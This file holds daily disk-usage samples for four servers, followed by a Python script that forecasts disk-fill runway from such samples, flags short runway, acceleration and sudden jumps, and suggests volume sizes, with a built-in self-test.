2026-10-03T06:00,db01:/var/lib/postgresql,305.7,500
2026-10-03T06:00,web01:/var/log,26.7,100
2026-10-03T06:00,ci-runner01:/,111.7,200
2026-10-03T06:00,backup-nas:/srv/backups,2109.7,4000
2026-10-04T06:00,db01:/var/lib/postgresql,309.2,500
2026-10-04T06:00,web01:/var/log,30.2,100
2026-10-04T06:00,ci-runner01:/,113.2,200
2026-10-04T06:00,backup-nas:/srv/backups,2115.2,4000
2026-10-05T06:00,db01:/var/lib/postgresql,311.9,500
2026-10-05T06:00,web01:/var/log,32.9,100
2026-10-05T06:00,ci-runner01:/,113.9,200
2026-10-05T06:00,backup-nas:/srv/backups,2119.9,4000
2026-10-06T06:00,db01:/var/lib/postgresql,315.5,500
2026-10-06T06:00,web01:/var/log,22.5,100
2026-10-06T06:00,ci-runner01:/,115.5,200
2026-10-06T06:00,backup-nas:/srv/backups,2125.5,4000
2026-10-07T06:00,db01:/var/lib/postgresql,317.6,500
2026-10-07T06:00,web01:/var/log,24.6,100
2026-10-07T06:00,ci-runner01:/,115.6,200
2026-10-07T06:00,backup-nas:/srv/backups,2129.6,4000
2026-10-08T06:00,db01:/var/lib/postgresql,321.1,500
2026-10-08T06:00,web01:/var/log,28.1,100
2026-10-08T06:00,ci-runner01:/,117.1,200
2026-10-08T06:00,backup-nas:/srv/backups,2135.1,4000
2026-10-09T06:00,db01:/var/lib/postgresql,324.3,500
2026-10-09T06:00,web01:/var/log,31.3,100
2026-10-09T06:00,ci-runner01:/,118.3,200
2026-10-09T06:00,backup-nas:/srv/backups,2140.3,4000
2026-10-10T06:00,db01:/var/lib/postgresql,326.8,500
2026-10-10T06:00,web01:/var/log,33.8,100
2026-10-10T06:00,ci-runner01:/,118.8,200
2026-10-10T06:00,backup-nas:/srv/backups,2144.8,4000
2026-10-11T06:00,db01:/var/lib/postgresql,330.0,500
2026-10-11T06:00,web01:/var/log,23.0,100
2026-10-11T06:00,ci-runner01:/,120.0,200
2026-10-11T06:00,backup-nas:/srv/backups,2150.0,4000
2026-10-12T06:00,db01:/var/lib/postgresql,333.4,500
2026-10-12T06:00,web01:/var/log,26.4,100
2026-10-12T06:00,ci-runner01:/,121.4,200
2026-10-12T06:00,backup-nas:/srv/backups,2155.4,4000
2026-10-13T06:00,db01:/var/lib/postgresql,335.7,500
2026-10-13T06:00,web01:/var/log,28.7,100
2026-10-13T06:00,ci-runner01:/,121.7,200
2026-10-13T06:00,backup-nas:/srv/backups,2159.7,4000
2026-10-14T06:00,db01:/var/lib/postgresql,339.2,500
2026-10-14T06:00,web01:/var/log,32.2,100
2026-10-14T06:00,ci-runner01:/,123.2,200
2026-10-14T06:00,backup-nas:/srv/backups,2165.2,4000
2026-10-15T06:00,db01:/var/lib/postgresql,341.9,500
2026-10-15T06:00,web01:/var/log,34.9,100
2026-10-15T06:00,ci-runner01:/,123.9,200
2026-10-15T06:00,backup-nas:/srv/backups,2169.9,4000
2026-10-16T06:00,db01:/var/lib/postgresql,345.5,500
2026-10-16T06:00,web01:/var/log,24.5,100
2026-10-16T06:00,ci-runner01:/,130.5,200
2026-10-16T06:00,backup-nas:/srv/backups,2575.5,4000
2026-10-17T06:00,db01:/var/lib/postgresql,347.6,500
2026-10-17T06:00,web01:/var/log,26.6,100
2026-10-17T06:00,ci-runner01:/,135.6,200
2026-10-17T06:00,backup-nas:/srv/backups,2579.6,4000
2026-10-18T06:00,db01:/var/lib/postgresql,351.1,500
2026-10-18T06:00,web01:/var/log,30.1,100
2026-10-18T06:00,ci-runner01:/,142.1,200
2026-10-18T06:00,backup-nas:/srv/backups,2585.1,4000
2026-10-19T06:00,db01:/var/lib/postgresql,354.3,500
2026-10-19T06:00,web01:/var/log,33.3,100
2026-10-19T06:00,ci-runner01:/,148.3,200
2026-10-19T06:00,backup-nas:/srv/backups,2590.3,4000
2026-10-20T06:00,db01:/var/lib/postgresql,356.8,500
2026-10-20T06:00,web01:/var/log,35.8,100
2026-10-20T06:00,ci-runner01:/,153.8,200
2026-10-20T06:00,backup-nas:/srv/backups,2594.8,4000
2026-10-21T06:00,db01:/var/lib/postgresql,360.1,500
2026-10-21T06:00,web01:/var/log,25.1,100
2026-10-21T06:00,ci-runner01:/,160.1,200
2026-10-21T06:00,backup-nas:/srv/backups,2600.1,4000
FILE:scripts/disk_runway.py
#!/usr/bin/env python3
"""Disk capacity runway forecaster (Python 3 standard library only).

Input: CSV with a header row and columns
  timestamp,volume,used_gb,size_gb
timestamp is ISO 8601 ("2026-10-01T00:00", "2026-10-01 06:00" or a date); one row per sample,
any order, several volumes in one file. size_gb may change (a resize); the latest value is used.

Model per volume:
  - growth rate = least-squares slope of used_gb over time (GB/day), plus R^2 for fit quality;
    one-off steps larger than 5% of the size are kept in current usage but removed from the trend
  - recent rate = slope over the last 7 days of samples (or the last third if shorter)
  - runway to 80/90/95/100% full = (threshold x size - used now) / max(rate, recent rate),
    counted from the LAST sample (not from today), so results are reproducible
  - suggested size: smallest whole 10 GB step that keeps the volume under 80% for
    --horizon days (default 90) at the worse of the two rates
Status / findings (severity):
  CRITICAL FULL_SOON       100% within 7 days, or already >= 95% used
  HIGH     RUNWAY_SHORT    90% within 14 days
  MEDIUM   RUNWAY_WATCH    80% within 30 days
  MEDIUM   ACCELERATING    recent rate > 1.5x the overall rate (and > 0.1 GB/day)
  MEDIUM   SUDDEN_JUMP     one step grew by more than 5% of the volume size
  LOW      NOISY_TREND     R^2 < 0.5: usage swings (log rotation, temp files); trust less
  LOW      SHRINKING       usage is falling; no runway
  LOW      FEW_SAMPLES     fewer than 4 samples or under 2 days of data
Usage:
  python3 disk_runway.py usage.csv
  python3 disk_runway.py usage.csv --horizon 180 --json
  python3 disk_runway.py --self-test
Exit code: 0 no CRITICAL/HIGH, 1 CRITICAL or HIGH findings, 2 bad input.
"""
import argparse
import csv
import datetime as dt
import io
import json
import math
import sys

THRESHOLDS = (0.8, 0.9, 0.95, 1.0)


class DataError(ValueError):
    pass


def parse_time(s):
    s = s.strip().replace("Z", "+00:00")
    try:
        t = dt.datetime.fromisoformat(s)
    except ValueError:
        raise DataError(f"bad timestamp {s!r}")
    return t.replace(tzinfo=None) if t.tzinfo is None else t.astimezone(dt.timezone.utc).replace(tzinfo=None)


def read_rows(text):
    rd = csv.DictReader(io.StringIO(text))
    need = {"timestamp", "volume", "used_gb", "size_gb"}
    if not rd.fieldnames or not need <= {f.strip() for f in rd.fieldnames}:
        raise DataError(f"CSV header must contain {', '.join(sorted(need))}")
    vols = {}
    for n, row in enumerate(rd, start=2):
        row = {k.strip(): (v or "").strip() for k, v in row.items() if k}
        if not any(row.values()):
            continue
        try:
            used, size = float(row["used_gb"]), float(row["size_gb"])
        except ValueError:
            raise DataError(f"line {n}: used_gb and size_gb must be numbers")
        if size <= 0 or used < 0:
            raise DataError(f"line {n}: size_gb must be > 0 and used_gb >= 0")
        vols.setdefault(row["volume"] or "(unnamed)", []).append((parse_time(row["timestamp"]), used, size))
    if not vols:
        raise DataError("no data rows")
    return {k: sorted(v) for k, v in vols.items()}


def slope(points):
    """points: [(days, value)] -> (slope per day, r2)"""
    n = len(points)
    if n < 2:
        return 0.0, 0.0
    mx = sum(p[0] for p in points) / n
    my = sum(p[1] for p in points) / n
    sxx = sum((p[0] - mx) ** 2 for p in points)
    if sxx == 0:
        return 0.0, 0.0
    sxy = sum((p[0] - mx) * (p[1] - my) for p in points)
    b = sxy / sxx
    syy = sum((p[1] - my) ** 2 for p in points)
    r2 = 1.0 if syy == 0 else (sxy * sxy) / (sxx * syy)
    return b, r2


def analyze(samples, horizon=90):
    t0 = samples[0][0]
    last_t, used, size = samples[-1]
    # one-off steps (> 5% of size in one sample) are removed from the trend, not extrapolated
    steps = [samples[i][1] - samples[i - 1][1] for i in range(1, len(samples))]
    normal = sorted(x for x in steps if x <= 0.05 * size)
    typical = normal[len(normal) // 2] if normal else 0.0
    shift, pts = 0.0, []
    for i, (t, u, _) in enumerate(samples):
        if i and steps[i - 1] > 0.05 * size:
            shift += steps[i - 1] - typical
        pts.append(((t - t0).total_seconds() / 86400, u - shift))
    span = pts[-1][0]
    rate, r2 = slope(pts)
    cut = pts[-1][0] - 7 if span >= 14 else pts[-1][0] - span / 3
    recent_pts = [p for p in pts if p[0] >= cut]
    recent, _ = slope(recent_pts) if len(recent_pts) >= 2 else (rate, 0)
    worst = max(rate, recent)
    pct = used / size
    runway = {}
    for th in THRESHOLDS:
        left = th * size - used
        if left <= 0:
            runway[th] = (0.0, last_t)
        elif worst > 1e-9:
            d = left / worst
            runway[th] = (d, last_t + dt.timedelta(days=d))
        else:
            runway[th] = (None, None)
    need = used + max(worst, 0) * horizon
    suggest = max(size, math.ceil(need / 0.8 / 10) * 10)
    findings = []

    def f(sev, code, msg):
        findings.append({"severity": sev, "code": code, "message": msg})

    d100, d90, d80 = runway[1.0][0], runway[0.9][0], runway[0.8][0]
    if pct >= 0.95 or (d100 is not None and d100 <= 7):
        f("CRITICAL", "FULL_SOON", f"{pct:.0%} used; full in {fmt_days(d100)}")
    elif d90 is not None and d90 <= 14:
        f("HIGH", "RUNWAY_SHORT", f"90% in {fmt_days(d90)}")
    elif d80 is not None and d80 <= 30:
        f("MEDIUM", "RUNWAY_WATCH", f"80% in {fmt_days(d80)}")
    if rate > 0 and recent > 1.5 * rate and recent > 0.1:
        f("MEDIUM", "ACCELERATING", f"last-week rate {recent:.2f} GB/day vs overall {rate:.2f} GB/day")
    jumps = [(samples[i][0], samples[i][1] - samples[i - 1][1]) for i in range(1, len(samples))]
    big = [j for j in jumps if j[1] > 0.05 * size]
    if big:
        t, g = max(big, key=lambda j: j[1])
        f("MEDIUM", "SUDDEN_JUMP", f"+{g:.1f} GB in one step at {t:%Y-%m-%d %H:%M} (backup, dump, log burst?)")
    if len(pts) >= 4 and r2 < 0.5 and worst > 0:
        f("LOW", "NOISY_TREND", f"R^2 {r2:.2f}; usage swings, so treat the runway as rough")
    if worst < 0:
        f("LOW", "SHRINKING", f"usage falling {rate:.2f} GB/day")
    if len(pts) < 4 or span < 2:
        f("LOW", "FEW_SAMPLES", f"{len(pts)} samples over {span:.1f} days; collect more data")
    rank = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "LOW": 3}
    findings.sort(key=lambda x: rank[x["severity"]])
    return {"last_sample": last_t.strftime("%Y-%m-%d %H:%M"), "used_gb": round(used, 2), "size_gb": size,
            "used_pct": round(pct * 100, 1), "rate_gb_day": round(rate, 3), "recent_rate_gb_day": round(recent, 3),
            "r2": round(r2, 3), "samples": len(pts), "span_days": round(span, 2),
            "runway": {f"{int(th * 100)}%": {"days": None if d is None else round(d, 1),
                                             "date": None if t is None else t.strftime("%Y-%m-%d")}
                       for th, (d, t) in runway.items()},
            "suggested_size_gb": suggest, "horizon_days": horizon, "findings": findings,
            "status": findings[0]["severity"] if findings and findings[0]["severity"] in ("CRITICAL", "HIGH", "MEDIUM") else "OK"}


def fmt_days(d):
    if d is None:
        return "never at current rate"
    if d <= 0:
        return "already"
    if d < 1:
        return f"{d * 24:.0f} h"
    return f"{d:.1f} days"


def report(res, horizon):
    out = ["# Disk runway report", "", f"Runway uses the worse of the overall and last-week growth rate; suggested size keeps usage under 80% for {horizon} days.", "",
           "| Volume | Status | Used | Size | Growth GB/day (overall / recent) | 80% | 90% | 100% | Suggested size |",
           "|---|---|---|---|---|---|---|---|---|"]
    order = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "OK": 3}
    for name, r in sorted(res.items(), key=lambda kv: (order[kv[1]["status"]], kv[0])):
        def cell(k):
            x = r["runway"][k]
            if x["days"] is None:
                return "never"
            return "now" if x["days"] == 0 else f"{x['days']} d ({x['date']})"
        out.append(f"| {name} | {r['status']} | {r['used_gb']:g} GB ({r['used_pct']}%) | {r['size_gb']:g} GB | "
                   f"{r['rate_gb_day']} / {r['recent_rate_gb_day']} | {cell('80%')} | {cell('90%')} | {cell('100%')} | "
                   f"{r['suggested_size_gb']:g} GB |")
    out += ["", "## Findings"]
    any_f = False
    for name, r in sorted(res.items(), key=lambda kv: (order[kv[1]["status"]], kv[0])):
        for x in r["findings"]:
            any_f = True
            out.append(f"- **{x['severity']} {x['code']}** ({name}): {x['message']}")
    if not any_f:
        out.append("- none")
    out += ["", "Last samples: " + ", ".join(f"{n} {r['last_sample']} ({r['samples']} samples, {r['span_days']} days, R^2 {r['r2']})" for n, r in sorted(res.items()))]
    return "\n".join(out) + "\n"


def run(text, horizon=90):
    if horizon <= 0:
        raise DataError("horizon must be > 0")
    return {name: analyze(s, horizon) for name, s in read_rows(text).items()}


def self_test():
    cases = []

    def ok(name, cond):
        cases.append(bool(cond))
        print(("PASS " if cond else "FAIL ") + name)

    b, r2 = slope([(0, 10), (1, 12), (2, 14)])
    ok("slope 2/day exact fit", abs(b - 2) < 1e-9 and abs(r2 - 1) < 1e-9)
    ok("flat slope 0", slope([(0, 5), (1, 5), (2, 5)])[0] == 0)
    hdr = "timestamp,volume,used_gb,size_gb\n"
    lin = hdr + "".join(f"2026-10-{d:02d},v,{100 + 2 * d},500\n" for d in range(1, 15))
    r = run(lin)["v"]
    ok("rate 2 GB/day", abs(r["rate_gb_day"] - 2) < 1e-6)
    ok("80% runway (400-128)/2 = 136 d", r["runway"]["80%"]["days"] == 136.0)
    ok("runway date from last sample", r["runway"]["100%"]["date"] == "2027-04-18")
    ok("healthy volume status OK", r["status"] == "OK" and r["findings"] == [])
    ok("suggested size keeps 500", r["suggested_size_gb"] == 500)
    r = run(lin, horizon=180)["v"]
    ok("180 d horizon suggests 610", r["suggested_size_gb"] == 610)
    full = hdr + "".join(f"2026-10-{d:02d},v,{80 + 3 * d},100\n" for d in range(1, 6))
    r = run(full)["v"]
    ok("95% used is CRITICAL", r["status"] == "CRITICAL" and r["findings"][0]["code"] == "FULL_SOON")
    ok("past threshold runway is 0", r["runway"]["90%"]["days"] == 0)
    short = hdr + "".join(f"2026-10-{d:02d},v,{50 + 3 * d},100\n" for d in range(1, 8))
    r = run(short)["v"]
    ok("90% in ~6 days is HIGH", r["status"] == "HIGH")
    watch = hdr + "".join(f"2026-10-{d:02d},v,{40 + d},100\n" for d in range(1, 8))
    ok("80% in 33 d is OK, 80% in 26 d is MEDIUM", run(watch)["v"]["status"] == "OK" and
       run(hdr + "".join(f"2026-10-{d:02d},v,{47 + d},100\n" for d in range(1, 8)))["v"]["status"] == "MEDIUM")
    acc = hdr + "".join(f"2026-10-{d:02d},v,{100 + (d if d <= 14 else 14 + 5 * (d - 14))},1000\n" for d in range(1, 22))
    r = run(acc)["v"]
    ok("accelerating flagged", any(x["code"] == "ACCELERATING" for x in r["findings"]))
    ok("recent rate used for runway", r["recent_rate_gb_day"] > r["rate_gb_day"])
    jump = hdr + "2026-10-01,v,100,500\n2026-10-02,v,101,500\n2026-10-03,v,140,500\n2026-10-04,v,141,500\n"
    r = run(jump)["v"]
    ok("sudden jump flagged", any(x["code"] == "SUDDEN_JUMP" for x in r["findings"]))
    ok("jump removed from trend (1 GB/day)", abs(r["rate_gb_day"] - 1) < 1e-6 and r["used_gb"] == 141)
    noisy = hdr + "".join(f"2026-10-{d:02d},v,{100 + (8 if d % 2 else 0) + 0.3 * d:.1f},500\n" for d in range(1, 21))
    ok("noisy trend flagged", any(x["code"] == "NOISY_TREND" for x in run(noisy)["v"]["findings"]))
    shr = hdr + "".join(f"2026-10-{d:02d},v,{200 - 3 * d},500\n" for d in range(1, 8))
    r = run(shr)["v"]
    ok("shrinking flagged and runway never", any(x["code"] == "SHRINKING" for x in r["findings"]) and r["runway"]["100%"]["days"] is None)
    few = hdr + "2026-10-01T00:00,v,10,100\n2026-10-01T12:00,v,11,100\n"
    ok("few samples flagged", any(x["code"] == "FEW_SAMPLES" for x in run(few)["v"]["findings"]))
    multi = hdr + "2026-10-02,b,5,100\n2026-10-01,a,1,100\n2026-10-01,b,4,100\n2026-10-02,a,1,100\n"
    r = run(multi)
    ok("multiple volumes, unsorted rows", set(r) == {"a", "b"} and r["b"]["rate_gb_day"] == 1)
    ok("resize uses latest size", run(hdr + "2026-10-01,v,50,100\n2026-10-02,v,52,200\n")["v"]["size_gb"] == 200)
    ok("fmt_days hours", fmt_days(0.5) == "12 h")
    for bad, label in (("a,b\n1,2\n", "missing columns"), (hdr, "no rows"), (hdr + "x,v,1,10\n", "bad timestamp"),
                       (hdr + "2026-10-01,v,abc,10\n", "bad number"), (hdr + "2026-10-01,v,1,0\n", "zero size")):
        try:
            run(bad)
            ok(label + " rejected", False)
        except DataError:
            ok(label + " rejected", True)
    print(f"{sum(cases)}/{len(cases)} passed")
    return 0 if all(cases) else 1


def main(argv=None):
    ap = argparse.ArgumentParser(description="Forecast when disks fill up from usage samples.")
    ap.add_argument("file", nargs="?", help="CSV: timestamp,volume,used_gb,size_gb")
    ap.add_argument("--horizon", type=int, default=90, help="days of runway the suggested size must cover (default 90)")
    ap.add_argument("--json", action="store_true")
    ap.add_argument("--self-test", action="store_true")
    a = ap.parse_args(argv)
    if a.self_test:
        return self_test()
    if not a.file:
        ap.error("give a CSV file or --self-test")
    try:
        res = run(open(a.file, encoding="utf-8").read(), a.horizon)
    except (OSError, DataError) as e:
        print(f"error: {e}", file=sys.stderr)
        return 2
    print(json.dumps(res, indent=2) if a.json else report(res, a.horizon), end="\n" if a.json else "")
    return 1 if any(r["status"] in ("CRITICAL", "HIGH") for r in res.values()) else 0


if __name__ == "__main__":
    sys.exit(main())